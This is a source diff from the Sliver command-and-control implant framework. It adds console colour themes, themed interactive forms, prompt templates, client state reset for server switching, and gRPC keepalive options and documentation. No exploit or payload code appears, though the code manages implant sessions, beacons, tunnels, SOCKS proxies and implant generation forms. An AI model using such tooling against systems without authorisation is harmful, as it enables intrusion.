promptTemplateCache.src = src
promptTemplateCache.tpl = t
promptTemplateCache.mu.Unlock()
return t, nil
}
func renderPromptTemplate(con *SliverClient, src string) (string, error) {
if con == nil {
return "", nil
}
details, _, ok := con.CurrentConnection()
operator := ""
host := ""
port := 0
hostPort := ""
if ok && details != nil && details.Config != nil {
operator = strings.TrimSpace(details.Config.Operator)
host = strings.TrimSpace(details.Config.LHost)
port = int(details.Config.LPort)
}
if host != "" && port != 0 {
hostPort = fmt.Sprintf("%s:%d", host, port)
}
// Active target context.
var suffix string
sessionName := ""
beaconName := ""
if session := con.ActiveTarget.GetSession(); session != nil {
sessionName = session.Name
suffix = StyleBoldRed.Render(" (" + sessionName + ")")
} else if beacon := con.ActiveTarget.GetBeacon(); beacon != nil {
beaconName = beacon.Name
suffix = StyleBoldBlue.Render(" (" + beaconName + ")")
}
th := theme.Current()
ctx := promptTemplateContext{
Now: time.Now(),
IsServer: con.IsServer,
Connected: ok && details != nil && details.Config != nil,
Operator: operator,
Host: host,
Port: port,
HostPort: hostPort,
Target: promptTarget{
SessionName: sessionName,
BeaconName: beaconName,
Suffix: suffix,
},
Colors: promptColors{
Primary: toPromptPalette(th.Primary),
Secondary: toPromptPalette(th.Secondary),
Default: toPromptPalette(th.Default),
Success: toPromptPalette(th.Success),
Warning: toPromptPalette(th.Warning),
Danger: toPromptPalette(th.Danger),
},
Styles: promptStyles{
Normal: StyleNormal,
Bold: StyleBold,
Underline: StyleUnderline,
Primary: StylePrimary,
Secondary: StyleSecondary,
Default: StyleDefault,
Success: StyleSuccess,
Warning: StyleWarning,
Danger: StyleDanger,
BoldPrimary: StyleBoldPrimary,
BoldSecondary: StyleBoldSecondary,
BoldDefault: StyleBoldDefault,
BoldSuccess: StyleBoldSuccess,
BoldWarning: StyleBoldWarning,
BoldDanger: StyleBoldDanger,
Black: StyleBlack,
Red: StyleRed,
Green: StyleGreen,
Orange: StyleOrange,
Blue: StyleBlue,
Purple: StylePurple,
Cyan: StyleCyan,
Gray: StyleGray,
},
}
tpl, err := promptTemplateForSource(src)
if err != nil {
return "", err
}
var buf bytes.Buffer
if err := tpl.Execute(&buf, ctx); err != nil {
return "", err
}
return buf.String(), nil
}
+133
View File
@@ -0,0 +1,133 @@
package console
import (
"github.com/bishopfox/sliver/client/theme"
"github.com/charmbracelet/lipgloss"
)
// TextStyle is the shared styling type for the client/server consoles.
// Keep this type in the console package so most callsites don't need to import
// lipgloss directly.
type TextStyle = lipgloss.Style
var (
StyleNormal = lipgloss.NewStyle()
StyleBold = lipgloss.NewStyle().Bold(true)
StyleUnderline = lipgloss.NewStyle().Underline(true)
// Theme palette styles.
StylePrimary = lipgloss.NewStyle()
StyleSecondary = lipgloss.NewStyle()
StyleDefault = lipgloss.NewStyle()
StyleSuccess = lipgloss.NewStyle()
StyleWarning = lipgloss.NewStyle()
StyleDanger = lipgloss.NewStyle()
StyleBoldPrimary = lipgloss.NewStyle()
StyleBoldSecondary = lipgloss.NewStyle()
StyleBoldDefault = lipgloss.NewStyle()
StyleBoldSuccess = lipgloss.NewStyle()
StyleBoldWarning = lipgloss.NewStyle()
StyleBoldDanger = lipgloss.NewStyle()
// Legacy color names used across the codebase.
StyleBlack = lipgloss.NewStyle()
StyleRed = lipgloss.NewStyle()
StyleGreen = lipgloss.NewStyle()
StyleOrange = lipgloss.NewStyle()
StyleBlue = lipgloss.NewStyle()
StylePurple = lipgloss.NewStyle()
StyleCyan = lipgloss.NewStyle()
StyleGray = lipgloss.NewStyle()
StyleBoldBlack = lipgloss.NewStyle()
StyleBoldRed = lipgloss.NewStyle()
StyleBoldGreen = lipgloss.NewStyle()
StyleBoldOrange = lipgloss.NewStyle()
StyleBoldBlue = lipgloss.NewStyle()
StyleBoldPurple = lipgloss.NewStyle()
StyleBoldCyan = lipgloss.NewStyle()
StyleBoldGray = lipgloss.NewStyle()
)
// Prefix tags used across the client/server consoles.
var (
Info string
Warn string
Debug string
Woot string
Success string
)
func init() {
// Apply a usable theme without doing any disk I/O.
ApplyTheme(theme.Current())
}
// ApplyTheme updates all exported styles/prefixes to match the provided theme.
//
// Note: this is intentionally a "global theme" for the console, since most of
// the existing code expects these styles to be package-level values.
func ApplyTheme(t theme.Theme) {
palette := func(p theme.Palette) lipgloss.Color {
if p.Default != "" {
return lipgloss.Color(p.Default)
}
return lipgloss.Color("#ffffff")
}
paletteMod := func(p theme.Palette, mod int) lipgloss.Color {
if mod != 0 {
if v, ok := p.Mods[mod]; ok && v != "" {
return lipgloss.Color(v)
}
}
return palette(p)
}
// Palette styles.
StylePrimary = lipgloss.NewStyle().Foreground(palette(t.Primary))
StyleSecondary = lipgloss.NewStyle().Foreground(palette(t.Secondary))
StyleDefault = lipgloss.NewStyle().Foreground(palette(t.Default))
StyleSuccess = lipgloss.NewStyle().Foreground(palette(t.Success))
StyleWarning = lipgloss.NewStyle().Foreground(palette(t.Warning))
StyleDanger = lipgloss.NewStyle().Foreground(palette(t.Danger))
StyleBoldPrimary = lipgloss.NewStyle().Bold(true).Foreground(palette(t.Primary))
StyleBoldSecondary = lipgloss.NewStyle().Bold(true).Foreground(palette(t.Secondary))
StyleBoldDefault = lipgloss.NewStyle().Bold(true).Foreground(palette(t.Default))
StyleBoldSuccess = lipgloss.NewStyle().Bold(true).Foreground(palette(t.Success))
StyleBoldWarning = lipgloss.NewStyle().Bold(true).Foreground(palette(t.Warning))
StyleBoldDanger = lipgloss.NewStyle().Bold(true).Foreground(palette(t.Danger))
// Legacy mapping.
StyleBlack = lipgloss.NewStyle().Foreground(paletteMod(t.Default, 50))
// ANSI "gray" (37) is typically light; map to the lightest neutral.
StyleGray = lipgloss.NewStyle().Foreground(paletteMod(t.Default, 900))
StyleBlue = StylePrimary
// Keep Cyan distinct from Blue using a lighter primary tint.
StyleCyan = lipgloss.NewStyle().Foreground(paletteMod(t.Primary, 500))
StylePurple = StyleSecondary
StyleGreen = StyleSuccess
StyleOrange = StyleWarning
StyleRed = StyleDanger
StyleBoldBlack = lipgloss.NewStyle().Bold(true).Foreground(paletteMod(t.Default, 50))
StyleBoldGray = lipgloss.NewStyle().Bold(true).Foreground(paletteMod(t.Default, 900))
StyleBoldBlue = StyleBoldPrimary
StyleBoldCyan = lipgloss.NewStyle().Bold(true).Foreground(paletteMod(t.Primary, 500))
StyleBoldPurple = StyleBoldSecondary
StyleBoldGreen = StyleBoldSuccess
StyleBoldOrange = StyleBoldWarning
StyleBoldRed = StyleBoldDanger
// Prefix tags.
Info = StyleBoldCyan.Render("[*] ")
Warn = StyleBoldDanger.Render("[!] ")
Debug = StyleBoldSecondary.Render("[-] ")
Woot = StyleBoldSuccess.Render("[$] ")
Success = StyleBoldSuccess.Render("[+] ")
}
+3 -2
View File
@@ -208,8 +208,9 @@ const (
GetGIDStr = "getgid"
WhoamiStr = "whoami"
ShellStr = "shell"
ExecuteStr = "execute"
ShellStr = "shell"
ExecuteStr = "execute"
ExecuteChildrenStr = "children"
LsStr = "ls"
MvStr = "mv"
+39
View File
@@ -0,0 +1,39 @@
package core
import "net"
// ResetClientState tears down singleton client-side state that is tied to a
// specific server connection (tunnels, portfwds, SOCKS, cursed procs, etc).
//
// This is primarily used to support switching servers inside a single
// sliver-client process.
func ResetClientState() {
// Port forwards
for _, meta := range Portfwds.List() {
Portfwds.Remove(meta.ID)
}
// SOCKS
for _, meta := range SocksProxies.List() {
SocksProxies.Remove(meta.ID)
}
SocksConnPool.Range(func(key, value any) bool {
if conn, ok := value.(net.Conn); ok {
_ = conn.Close()
}
SocksConnPool.Delete(key)
return true
})
// Tunnels
GetTunnels().Reset()
// Cursed processes
CursedProcesses.Range(func(key, value any) bool {
if cp, ok := value.(*CursedProcess); ok && cp != nil && cp.PortFwd != nil {
Portfwds.Remove(cp.PortFwd.ID)
}
CursedProcesses.Delete(key)
return true
})
}
+9 -5
View File
@@ -20,6 +20,7 @@ package core
import (
"context"
"errors"
"io"
"log"
@@ -27,21 +28,21 @@ import (
)
// TunnelLoop - Parses incoming tunnel messages and distributes them
// to session/tunnel objects
// Expected to be called only once during initialization
func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
//
// to session/tunnel objects
// Expected to be called only once during initialization
func TunnelLoop(ctx context.Context, rpc rpcpb.SliverRPCClient) error {
log.Println("Starting tunnel data loop ...")
defer log.Printf("Warning: TunnelLoop exited")
ctx, cancel := context.WithCancel(context.Background())
stream, err := rpc.TunnelData(ctx)
defer cancel()
if err != nil {
return err
}
GetTunnels().SetStream(stream)
defer GetTunnels().SetStream(nil)
for {
log.Printf("Waiting for TunnelData ...")
@@ -54,6 +55,9 @@ func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
return nil
}
if err != nil {
if errors.Is(err, context.Canceled) {
return nil
}
log.Printf("Tunnel data read error: %s", err)
return err
}
+16
View File
@@ -160,3 +160,19 @@ func (t *tunnels) CloseForSession(sessionID string) {
}
}
}
// Reset closes all open tunnels and clears the underlying storage/stream.
// This is used when switching servers inside a single client process.
func (t *tunnels) Reset() {
t.SetStream(nil)
t.mutex.Lock()
defer t.mutex.Unlock()
for tunnelID, tunnel := range *t.tunnels {
if tunnel != nil {
_ = tunnel.Close()
}
delete(*t.tunnels, tunnelID)
}
}
+4 -2
View File
@@ -3,6 +3,7 @@ package forms
import (
"errors"
"github.com/bishopfox/sliver/client/theme"
"github.com/charmbracelet/huh"
)
@@ -40,10 +41,11 @@ func ArmoryInstallForm(options []ArmoryInstallOption) (*ArmoryInstallFormResult,
Title("Select packages or bundles to install").
Description("Use space to select and enter to install.").
Options(selectOptions...).
Height(listHeight(len(selectOptions))).
// huh.MultiSelect Height includes title/description, so add 2 lines for them.
Height(listHeight(len(selectOptions)) + 2).
Value(&result.SelectedNames)
form := huh.NewForm(huh.NewGroup(field))
form := huh.NewForm(huh.NewGroup(field)).WithTheme(theme.HuhTheme())
if err := form.Run(); err != nil {
return nil, err
}
+4 -2
View File
@@ -3,6 +3,7 @@ package forms
import (
"errors"
"github.com/bishopfox/sliver/client/theme"
"github.com/charmbracelet/huh"
)
@@ -39,10 +40,11 @@ func ArmoryUpdateForm(options []ArmoryUpdateOption) (*ArmoryUpdateFormResult, er
Title("Select updates to apply").
Description("Use space to select and enter to apply.").
Options(selectOptions...).
Height(listHeight(len(selectOptions))).
// huh.MultiSelect Height includes title/description, so add 2 lines for them.
Height(listHeight(len(selectOptions)) + 2).
Value(&result.SelectedIDs)
form := huh.NewForm(huh.NewGroup(field))
form := huh.NewForm(huh.NewGroup(field)).WithTheme(theme.HuhTheme())
if err := form.Run(); err != nil {
return nil, err
}
+2
View File
@@ -4,6 +4,7 @@ import (
"errors"
"strings"
"github.com/bishopfox/sliver/client/theme"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/util"
"github.com/charmbracelet/huh"
@@ -124,6 +125,7 @@ func GenerateForm(compiler *clientpb.Compiler) (*GenerateFormResult, error) {
),
)
form = form.WithTheme(theme.HuhTheme())
if err := form.Run(); err != nil {
return nil, err
}
+2
View File
@@ -5,6 +5,7 @@ import (
"strconv"
"strings"
"github.com/bishopfox/sliver/client/theme"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/util"
"github.com/charmbracelet/huh"
@@ -154,6 +155,7 @@ func GenerateBeaconForm(compiler *clientpb.Compiler) (*GenerateBeaconFormResult,
),
)
form = form.WithTheme(theme.HuhTheme())
if err := form.Run(); err != nil {
return nil, err
}
+2
View File
@@ -4,6 +4,7 @@ import (
"errors"
"strings"
"github.com/bishopfox/sliver/client/theme"
"github.com/bishopfox/sliver/util"
"github.com/charmbracelet/huh"
)
@@ -131,6 +132,7 @@ func GenerateProfilesNewForm() (*GenerateProfilesNewFormResult, error) {
),
)
form = form.WithTheme(theme.HuhTheme())
if err := form.Run(); err != nil {
return nil, err
}
@@ -4,6 +4,7 @@ import (
"errors"
"strings"
"github.com/bishopfox/sliver/client/theme"
"github.com/bishopfox/sliver/util"
"github.com/charmbracelet/huh"
)
@@ -163,6 +164,7 @@ func GenerateProfilesNewBeaconForm() (*GenerateProfilesNewBeaconFormResult, erro
),
)
form = form.WithTheme(theme.HuhTheme())
if err := form.Run(); err != nil {
return nil, err
}
+18 -12
View File
@@ -2,13 +2,15 @@ package forms
import (
"errors"
"slices"
"strings"
"github.com/bishopfox/sliver/client/theme"
"github.com/charmbracelet/huh"
"golang.org/x/term"
)
const defaultSelectHeight = 10
const defaultSelectHeight = 5
func getTerminalWidth() int {
// Try to get actual terminal width
@@ -31,7 +33,7 @@ func Confirm(title string, value *bool) error {
Title(title).
Value(value),
),
)
).WithTheme(theme.HuhTheme())
return form.Run()
}
@@ -48,7 +50,7 @@ func Input(title string, value *string) error {
Title(title).
Value(value),
),
)
).WithTheme(theme.HuhTheme())
return form.Run()
}
@@ -66,7 +68,7 @@ func Text(title string, value *string) error {
ExternalEditor(false).
Value(value),
),
)
).WithTheme(theme.HuhTheme())
return form.Run()
}
@@ -93,10 +95,13 @@ func MultiSelect(title string, options []string, value *[]string) error {
field := huh.NewMultiSelect[string]().
Title(title).
Options(makeStringOptions(options)...).
Height(listHeight(len(options))).
// huh.Select/MultiSelect Height includes title/description, so add 1 for the title line.
Height(listHeight(len(options)) + 1).
Value(value)
form := huh.NewForm(huh.NewGroup(field)).WithWidth(getTerminalWidth())
form := huh.NewForm(huh.NewGroup(field)).
WithTheme(theme.HuhTheme()).
WithWidth(getTerminalWidth())
return form.Run()
}
@@ -115,7 +120,8 @@ func selectPrompt(title string, options []string, value *string, required bool)
field := huh.NewSelect[string]().
Title(title).
Options(makeStringOptions(options)...).
Height(listHeight(len(options))).
// huh.Select Height includes title/description, so add 1 for the title line.
Height(listHeight(len(options)) + 1).
Value(value)
if required {
@@ -127,7 +133,9 @@ func selectPrompt(title string, options []string, value *string, required bool)
})
}
form := huh.NewForm(huh.NewGroup(field)).WithWidth(getTerminalWidth())
form := huh.NewForm(huh.NewGroup(field)).
WithTheme(theme.HuhTheme()).
WithWidth(getTerminalWidth())
err := form.Run()
// On error restore the originalValue and return err
@@ -147,10 +155,8 @@ func ensureSelectedValue(options []string, value *string) {
*value = options[0]
return
}
for _, option := range options {
if option == *value {
return
}
if slices.Contains(options, *value) {
return
}
*value = options[0]
}
+18
View File
@@ -6,6 +6,7 @@ import (
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/theme"
"github.com/charmbracelet/huh"
)
@@ -19,6 +20,7 @@ type SettingsFormResult struct {
VimMode bool
UserConnect bool
ConsoleLogs bool
PromptStyle string
}
// SettingsForm prompts for client settings and returns the collected values.
@@ -39,10 +41,14 @@ func SettingsForm(settings *assets.ClientSettings, tableStyleOptions []string) (
VimMode: settings.VimMode,
UserConnect: settings.UserConnect,
ConsoleLogs: settings.ConsoleLogs,
PromptStyle: assets.NormalizePromptStyle(settings.PromptStyle),
}
if result.TableStyle == "" {
result.TableStyle = tableStyleOptions[0]
}
if result.PromptStyle == "" {
result.PromptStyle = assets.PromptStyleHost
}
styleOptions := make([]huh.Option[string], 0, len(tableStyleOptions))
for _, option := range tableStyleOptions {
@@ -51,6 +57,17 @@ func SettingsForm(settings *assets.ClientSettings, tableStyleOptions []string) (
form := huh.NewForm(
huh.NewGroup(
huh.NewSelect[string]().
Title("Prompt style").
Description("Customize the sliver prompt prefix").
Options(
huh.NewOption(assets.PromptStyleHost, assets.PromptStyleHost),
huh.NewOption(assets.PromptStyleOperatorHost, assets.PromptStyleOperatorHost),
huh.NewOption(assets.PromptStyleBasic, assets.PromptStyleBasic),
huh.NewOption(assets.PromptStyleCustom, assets.PromptStyleCustom),
).
Height(4).
Value(&result.PromptStyle),
huh.NewSelect[string]().
Title("Table style").
Options(styleOptions...).
@@ -90,6 +107,7 @@ func SettingsForm(settings *assets.ClientSettings, tableStyleOptions []string) (
).Title("Behavior"),
)
form = form.WithTheme(theme.HuhTheme())
if err := form.Run(); err != nil {
return nil, err
}
+18 -17
View File
@@ -1,5 +1,23 @@
package packages
/*
Sliver Implant Framework
Copyright (C) 2024 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"fmt"
@@ -10,23 +28,6 @@ import (
"github.com/jedib0t/go-pretty/v6/table"
)
/*
Sliver Implant Framework
Copyright (C) 2024 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
const (
KeyValueSchemaName = "key-value"
GroupedKeyValueSchemaName = "grouped-key-value"
+2 -15
View File
@@ -10,21 +10,8 @@ import (
)
const (
// ANSI Colors
normal = "\033[0m"
black = "\033[30m"
red = "\033[31m"
green = "\033[32m"
orange = "\033[33m"
blue = "\033[34m"
purple = "\033[35m"
cyan = "\033[36m"
gray = "\033[37m"
bold = "\033[1m"
clearln = "\r\x1b[2K"
upN = "\033[%dA"
downN = "\033[%dB"
underline = "\033[4m"
// Terminal control sequence for clearing the current line.
clearln = "\r\x1b[2K"
)
// Spinner types.
+98
View File
@@ -0,0 +1,98 @@
package theme
// DefaultThemeYAML is the initial theme created at <client app dir>/theme.yaml.
//
// Palettes:
// - default: neutral base
// - primary/secondary: accent colors
// - success/warning/danger: semantic colors
//
// Each palette has a "default" value and a set of numeric modifiers:
// 50, 100, 200, 300, 400, 500, 600, 700, 800, 900.
const DefaultThemeYAML = `# Sliver client console theme.
# Colors are hex strings (e.g. "#006FEE").
primary:
default: "#006FEE"
mods:
50: "#001731"
100: "#002e62"
200: "#004493"
300: "#005bc4"
400: "#006FEE"
500: "#338ef7"
600: "#66aaf9"
700: "#99c7fb"
800: "#cce3fd"
900: "#e6f1fe"
secondary:
default: "#9353d3"
mods:
50: "#180828"
100: "#301050"
200: "#481878"
300: "#6020a0"
400: "#7828c8"
500: "#9353d3"
600: "#ae7ede"
700: "#c9a9e9"
800: "#e4d4f4"
900: "#f2eafa"
default:
default: "#3f3f46"
mods:
50: "#18181b"
100: "#27272a"
200: "#3f3f46"
300: "#52525b"
400: "#71717a"
500: "#a1a1aa"
600: "#d4d4d8"
700: "#e4e4e7"
800: "#f4f4f5"
900: "#fafafa"
success:
default: "#17c964"
mods:
50: "#052814"
100: "#095028"
200: "#0e793c"
300: "#12a150"
400: "#17c964"
500: "#45d483"
600: "#74dfa2"
700: "#a2e9c1"
800: "#d1f4e0"
900: "#e8faf0"
warning:
default: "#f5a524"
mods:
50: "#312107"
100: "#62420e"
200: "#936316"
300: "#c4841d"
400: "#f5a524"
500: "#f7b750"
600: "#f9c97c"
700: "#fbdba7"
800: "#fdedd3"
900: "#fefce8"
danger:
default: "#f31260"
mods:
50: "#310413"
100: "#610726"
200: "#920b3a"
300: "#c20e4d"
400: "#f31260"
500: "#f54180"
600: "#f871a0"
700: "#faa0bf"
800: "#fdd0df"
900: "#fee7ef"
`
+67
View File
@@ -0,0 +1,67 @@
package theme
import (
"github.com/charmbracelet/huh"
"github.com/charmbracelet/lipgloss"
)
// HuhTheme returns a huh Theme derived from the current Sliver client theme.
//
// This is used for all interactive TUI forms in the client so that colors are
// consistent with the rest of the console styling (theme.yaml).
func HuhTheme() *huh.Theme {
t := huh.ThemeBase()
border := DefaultMod(300)
text := DefaultMod(900)
dim := DefaultMod(500)
faint := DefaultMod(400)
primary := Primary()
accent := Secondary()
success := Success()
danger := Danger()
// Focused styles.
t.Focused.Base = t.Focused.Base.BorderForeground(border)
t.Focused.Card = t.Focused.Base
t.Focused.Title = t.Focused.Title.Foreground(primary).Bold(true)
t.Focused.NoteTitle = t.Focused.NoteTitle.Foreground(primary).Bold(true).MarginBottom(1)
t.Focused.Description = t.Focused.Description.Foreground(dim)
t.Focused.Directory = t.Focused.Directory.Foreground(primary)
t.Focused.File = t.Focused.File.Foreground(text)
t.Focused.ErrorIndicator = t.Focused.ErrorIndicator.Foreground(danger)
t.Focused.ErrorMessage = t.Focused.ErrorMessage.Foreground(danger)
t.Focused.SelectSelector = t.Focused.SelectSelector.Foreground(accent)
t.Focused.NextIndicator = t.Focused.NextIndicator.Foreground(accent)
t.Focused.PrevIndicator = t.Focused.PrevIndicator.Foreground(accent)
t.Focused.Option = t.Focused.Option.Foreground(text)
t.Focused.MultiSelectSelector = t.Focused.MultiSelectSelector.Foreground(accent)
t.Focused.SelectedOption = t.Focused.SelectedOption.Foreground(success)
t.Focused.SelectedPrefix = t.Focused.SelectedPrefix.Foreground(success)
t.Focused.UnselectedOption = t.Focused.UnselectedOption.Foreground(text)
t.Focused.UnselectedPrefix = t.Focused.UnselectedPrefix.Foreground(faint)
t.Focused.FocusedButton = t.Focused.FocusedButton.Foreground(text).Background(primary)
t.Focused.Next = t.Focused.FocusedButton
t.Focused.BlurredButton = t.Focused.BlurredButton.Foreground(text).Background(lipgloss.Color(DefaultMod(100)))
t.Focused.TextInput.Cursor = t.Focused.TextInput.Cursor.Foreground(primary)
t.Focused.TextInput.Placeholder = t.Focused.TextInput.Placeholder.Foreground(faint)
t.Focused.TextInput.Prompt = t.Focused.TextInput.Prompt.Foreground(accent)
// Blurred styles (same palette, but without the focused border/indicators).
t.Blurred = t.Focused
t.Blurred.Base = t.Blurred.Base.BorderStyle(lipgloss.HiddenBorder())
t.Blurred.Card = t.Blurred.Base
t.Blurred.MultiSelectSelector = lipgloss.NewStyle().SetString(" ")
t.Blurred.NextIndicator = lipgloss.NewStyle()
t.Blurred.PrevIndicator = lipgloss.NewStyle()
// Group styles.
t.Group.Title = t.Focused.Title
t.Group.Description = t.Focused.Description
return t
}
+173
View File
@@ -0,0 +1,173 @@
package theme
import (
"errors"
"os"
"path/filepath"
"sync"
"github.com/bishopfox/sliver/client/assets"
"github.com/charmbracelet/lipgloss"
"gopkg.in/yaml.v3"
)
const (
ThemeFileName = "theme.yaml"
)
type Palette struct {
Default string `yaml:"default"`
Mods map[int]string `yaml:"mods"`
}
type Theme struct {
Primary Palette `yaml:"primary"`
Secondary Palette `yaml:"secondary"`
Default Palette `yaml:"default"`
Success Palette `yaml:"success"`
Warning Palette `yaml:"warning"`
Danger Palette `yaml:"danger"`
}
var (
mu sync.RWMutex
current Theme
)
func init() {
// Ensure there is always a usable theme without I/O.
t, err := parseThemeYAML([]byte(DefaultThemeYAML))
if err == nil {
current = t
} else {
// Minimal fallback; should never happen unless DefaultThemeYAML is corrupted.
current = Theme{
Primary: Palette{Default: "#006FEE", Mods: map[int]string{}},
Default: Palette{Default: "#ffffff", Mods: map[int]string{}},
}
}
}
func ThemePath() string {
return filepath.Join(assets.GetRootAppDir(), ThemeFileName)
}
func SetCurrentTheme(t Theme) {
mu.Lock()
current = t
mu.Unlock()
}
func EnsureThemeFile() error {
p := ThemePath()
if _, err := os.Stat(p); err == nil {
return nil
} else if !errors.Is(err, os.ErrNotExist) {
return err
}
return os.WriteFile(p, []byte(DefaultThemeYAML), 0o600)
}
func LoadThemeFromDisk() (Theme, error) {
data, err := os.ReadFile(ThemePath())
if err != nil {
return Theme{}, err
}
return parseThemeYAML(data)
}
func LoadAndSetCurrentTheme() error {
_ = EnsureThemeFile()
t, err := LoadThemeFromDisk()
if err != nil {
return err
}
SetCurrentTheme(t)
return nil
}
func parseThemeYAML(data []byte) (Theme, error) {
var t Theme
if err := yaml.Unmarshal(data, &t); err != nil {
return Theme{}, err
}
normalizePalette(&t.Primary)
normalizePalette(&t.Secondary)
normalizePalette(&t.Default)
normalizePalette(&t.Success)
normalizePalette(&t.Warning)
normalizePalette(&t.Danger)
return t, nil
}
func normalizePalette(p *Palette) {
if p.Mods == nil {
p.Mods = map[int]string{}
}
}
func (t Theme) paletteColor(p Palette) lipgloss.Color {
if p.Default != "" {
return lipgloss.Color(p.Default)
}
// Defensive fallback.
return lipgloss.Color("#ffffff")
}
func (t Theme) paletteMod(p Palette, mod int) lipgloss.Color {
if mod != 0 {
if v, ok := p.Mods[mod]; ok && v != "" {
return lipgloss.Color(v)
}
}
return t.paletteColor(p)
}
// Primary returns the theme primary color.
func Primary() lipgloss.Color { return Current().paletteColor(Current().Primary) }
func PrimaryMod(mod int) lipgloss.Color {
t := Current()
return t.paletteMod(t.Primary, mod)
}
// Secondary returns the theme secondary color.
func Secondary() lipgloss.Color { return Current().paletteColor(Current().Secondary) }
func SecondaryMod(mod int) lipgloss.Color {
t := Current()
return t.paletteMod(t.Secondary, mod)
}
// Default returns the theme default/neutral color.
func Default() lipgloss.Color { return Current().paletteColor(Current().Default) }
func DefaultMod(mod int) lipgloss.Color {
t := Current()
return t.paletteMod(t.Default, mod)
}
// Success returns the theme success color.
func Success() lipgloss.Color { return Current().paletteColor(Current().Success) }
func SuccessMod(mod int) lipgloss.Color {
t := Current()
return t.paletteMod(t.Success, mod)
}
// Warning returns the theme warning color.
func Warning() lipgloss.Color { return Current().paletteColor(Current().Warning) }
func WarningMod(mod int) lipgloss.Color {
t := Current()
return t.paletteMod(t.Warning, mod)
}
// Danger returns the theme danger color.
func Danger() lipgloss.Color { return Current().paletteColor(Current().Danger) }
func DangerMod(mod int) lipgloss.Color {
t := Current()
return t.paletteMod(t.Danger, mod)
}
// Current returns the in-memory current theme (defaults to DefaultThemeYAML).
func Current() Theme {
mu.RLock()
defer mu.RUnlock()
return current
}
+30
View File
@@ -0,0 +1,30 @@
package transport
import (
"sync"
"google.golang.org/grpc/keepalive"
)
var (
kaMu sync.RWMutex
kaParams *keepalive.ClientParameters
)
// SetKeepaliveParams configures gRPC keepalive pings for future MTLSConnect dials.
// Behavior is unchanged unless this is called.
func SetKeepaliveParams(p keepalive.ClientParameters) {
kaMu.Lock()
kaParams = &p
kaMu.Unlock()
}
func getKeepaliveParams() (keepalive.ClientParameters, bool) {
kaMu.RLock()
p := kaParams
kaMu.RUnlock()
if p == nil {
return keepalive.ClientParameters{}, false
}
return *p, true
}
+28 -6
View File
@@ -28,6 +28,7 @@ import (
"time"
"google.golang.org/grpc"
"google.golang.org/grpc/connectivity"
"google.golang.org/grpc/credentials"
"github.com/bishopfox/sliver/client/assets"
@@ -71,15 +72,36 @@ func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.Clie
options := []grpc.DialOption{
grpc.WithTransportCredentials(transportCreds),
grpc.WithPerRPCCredentials(callCreds),
grpc.WithBlock(),
grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)),
}
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
defer cancel()
connection, err := grpc.DialContext(ctx, fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
if kp, ok := getKeepaliveParams(); ok {
options = append(options, grpc.WithKeepaliveParams(kp))
}
connection, err := grpc.NewClient(fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
if err != nil {
return nil, nil, err
}
// Preserve the legacy grpc.DialContext + grpc.WithBlock behavior: block
// until the channel becomes READY or the timeout expires.
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
defer cancel()
for {
state := connection.GetState()
if state == connectivity.Idle {
connection.Connect()
}
if state == connectivity.Ready {
break
}
if !connection.WaitForStateChange(ctx, state) {
_ = connection.Close()
return nil, nil, ctx.Err()
}
}
return rpcpb.NewSliverRPCClient(connection), connection, nil
}
@@ -120,7 +142,7 @@ func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
cert, err := x509.ParseCertificate(rawCerts[0]) // We should only get one cert
if err != nil {
log.Printf("Failed to parse certificate: " + err.Error())
log.Printf("Failed to parse certificate: %v", err)
return err
}
@@ -134,7 +156,7 @@ func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
panic("no root certificate")
}
if _, err := cert.Verify(options); err != nil {
log.Printf("Failed to verify certificate: " + err.Error())
log.Printf("Failed to verify certificate: %v", err)
return err
}
-3
View File
@@ -31,9 +31,6 @@ import (
)
const (
normal = "\033[0m"
bold = "\033[1m"
defaultVersion = "devel"
defaultReleasesURL = "https://api.github.com/repos/BishopFox/sliver/releases"
)
@@ -15,6 +15,12 @@ The Sliver server has a configuration file located in the `configs` sub-director
"level": 4,
"grpc_unary_payloads": false,
"grpc_stream_payloads": false
},
"grpc": {
"keepalive": {
"min_time_seconds": 30,
"permit_without_stream": true
}
}
}
```
@@ -29,6 +35,10 @@ The Sliver server has a configuration file located in the `configs` sub-director
- `level` - The `logrus` logging level (1 - 5), by default this is set to `4`, which is the `INFO` level; increasing this value increases the verbosity of the logs e.g. `DEBUG` is `5` and `SILENT` is `1`
- `grpc_unary_payloads` - Log gRPC unary payloads
- `grpc_stream_payloads` - Log gRPC streaming payloads
- `grpc` - An object containing options for the server gRPC stack
- `keepalive` - gRPC keepalive enforcement configuration
- `min_time_seconds` - Minimum amount of time (in seconds) between client pings before the server sends a GOAWAY with `too_many_pings`
- `permit_without_stream` - Allow client pings when there are no active streams
## Database Configuration
@@ -19,6 +19,12 @@ $ cat ~/.sliver/configs/server.json
"level": 5,
"grpc_unary_payloads": false,
"grpc_stream_payloads": false
},
"grpc": {
"keepalive": {
"min_time_seconds": 30,
"permit_without_stream": true
}
}
}
```
+133
View File
